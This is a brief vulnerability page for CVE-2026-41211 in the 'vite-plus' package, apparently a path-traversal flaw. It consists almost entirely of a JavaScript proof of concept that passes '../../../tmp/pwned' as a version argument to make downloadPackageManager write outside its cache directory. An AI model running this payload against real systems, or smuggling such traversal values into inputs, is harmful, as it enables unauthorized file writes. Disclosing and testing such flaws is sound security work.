CVE-2026-41211 Vite+ 路径穿越导致目录写入漏洞

// Conceptual PoC for CVE-2026-41211 // Vulnerable function: downloadPackageManager(pm, version) // Attacker controls the 'version' parameter to perform path traversal. const vulnerableModule = require('vite-plus'); // Normal usage: downloadPackageManager('npm', '9.6.7') // Malicious usage: attempting to write to a parent directory // This simulates the payload that triggers the path traversal const maliciousVersion = '../../../tmp/pwned'; console.log(`[+] Attempting to exploit path traversal with version: ${maliciousVersion}`); try { // The function will resolve the path outside the intended cache root vulnerableModule.downloadPackageManager('npm', maliciousVersion); console.log("[+] Potential exploit success: directory created outside cache."); } catch (e) { console.log("[-] Exploit failed or error occurred:", e.message); }